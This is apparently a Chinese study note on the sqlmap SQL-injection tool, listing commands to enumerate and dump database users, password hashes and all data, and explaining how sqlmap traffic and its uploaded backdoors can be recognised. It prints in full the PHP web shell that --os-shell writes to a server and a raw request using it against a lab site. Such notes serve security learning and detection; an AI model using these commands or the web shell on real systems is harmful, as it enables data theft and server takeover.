SQLMAP知识点总结

SQLMAP是一个开源的自动化SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。

实例

-u参数

sqlmap -u url --users :查看数据库所有用户

sqlmap -u url --passwords :查看数据库所有用户密码

sqlmap -u url :判断注入点

sqlmap -u url --current-db:查看当前所有数据库

image-20220319124946460

sqlmap -u url --current-user :查看数据库当前的用户

sqlmap -u url --is-dba :判断当前用户是否有管理员权限

sqlmap -u url --roles :列出数据库所有管理员角色

sqlmap -u url -D 库名 --tables :爆表

image-20220319125349890

sqlmap -u url -D 库名 -T 表明 --columns :爆字段

image-20220319125929126

sqlmap -u url -D 库名 -T 表明 --C 字段名1,字段名2 --dump :爆数据

sqlmap -u url -D 库名 --dump-all :爆出数据库中所有数据

-r参数

先用男朋友巴巴苏特 抓包,复制抓到的该网站的HTTP Request报文,粘贴到a.txt(自己新建一个放桌面上也可以)文件里,从文本文件中获取http请求

sqlmap -r /user/a.txt          //a.txt是自己本地的文件

爆当前数据库库名

image-20220319131748354

爆指定数据库的表名

image-20220319131923592

爆指定数据表的字段名

image-20220319155440946

爆指定字段的值

image-20220319155528862

-m参数

从文件中取出保存的url进行检测

sqlmap -m /user/b.txt             //b.txt里包含多项url

更快捷,一下跑好多

sqlmap流量特征

没有伪装的话,会在User-Agent中会直接显示出来sqlmap的版本等等

image-20220320130314685

代码的静态特征

如果是由sqlmap上传的上传马,可以很清晰地在代码上看出来这是sqlmap上传的后门,直接把上传的PHP什么的直接删掉就好了

image-20220320130553978

另一种情况就是命令执行的小马,一般来说命令执行函数是不允许存在的,看到直接杀掉就好了

image-20220320131320210

动态分析

-os-shell

原理

对数据库行为做限制,-os-shell主要还是为了执行into outfile()函数

原理很简单,就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下,然后利用这个php文件来上传一个用来执行系统命令的php文件(包含执行命令的代码)

<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
$z=@ini_get('disable_functions');
if(!empty($z))
{
    $z=preg_replace('/[, ]+/',',',$z);
    $z=explode(',',$z);
    $z=array_map('trim',$z);}
else
    {
        $z=array();
        }
$c=$c." 2>&1\n";
function f($n)
{global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f('system'))
{ob_start();
system($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('proc_open')){
    $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
    $w=NULL;
    while(!feof($t[1])){
        $w.=fread($t[1],512);
            }
        @proc_close($y);
}
    elseif(f('shell_exec')){
    $w=shell_exec($c);
    }
    elseif(f('passthru')){
        ob_start();
        passthru($c);
        $w=ob_get_contents();
        ob_end_clean();
        }elseif(f('popen')){
            $x=popen($c,r);
            $w=NULL;
            if(is_resource($x)){
                while(!feof($x)){
                $w.=fread($x,512);
                    }
                    }
                    @pclose($x);
                    }elseif(f('exec')){
                        $w=array();
                        exec($c,$w);
                        $w=join(chr(10),$w).chr(10);
                        }else{
                            $w=0;
                            }
                            print "</pre>".$w."</pre>";?>'''

上述代码实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中。

因此我们可以在os-shell中执行命令。

使用条件

(1)当前数据库用户必须是root权限

(2)攻击者需要知道网站的绝对路径(source_file_priv的值不能是null)

(3)GPC为off,php主动转义的功能关闭(可以使用单双引号)

传入马后的测试语句

看返回包

如果攻击者没有经过流量分析,我们可以抓个包看看回显有没有echo command execution test,有的话,就可以判定这是sqlmap的命令马了,杀掉就好了

image-20220320134109561

看操作系统

再就是sqImap会判断当前的操作系统,而判断操作系统就会使用
@@version_compile_os函数

同样是抓包,查看GET请求,如果存在@@version_compile_os函数的请求,那就是sqlmap发出的,杀它

image-20220320134523362

删除文件

一般被删除的命令马跟上传马在同级目录下,且文件名默认都以tmpxxx.php命名,溯源起来还是比较方便的

其实这里有点没理解,作为被删除的文件为什么在这里还会出现啊嘞

GET /Less-1/tmpbqsur.php?cmd=del /F /Q E:\Server\phpstudy_pro\WWW\sqli-labs-master\Less-1\tmpuajwx.php HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)
Host: www.sqli.com
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
传数组爆绝对路径

数组的默认值为1

image-20220320151334806